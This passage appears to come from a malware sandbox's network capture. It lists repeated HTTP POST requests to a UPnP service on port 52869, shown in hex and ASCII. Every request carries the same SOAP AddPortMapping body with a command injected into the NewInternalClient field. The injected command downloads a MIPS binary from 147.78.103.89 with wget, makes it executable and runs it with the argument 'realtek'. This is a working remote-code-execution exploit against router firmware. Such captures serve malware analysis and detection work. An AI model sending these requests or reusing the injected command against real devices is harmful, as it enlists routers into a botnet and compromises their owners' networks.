                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:24.534745932 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      164192.168.2.1541642185.85.15.14352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:53.191673994 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:53.719541073 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:54.743412971 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:56.759402037 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:00.983256102 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
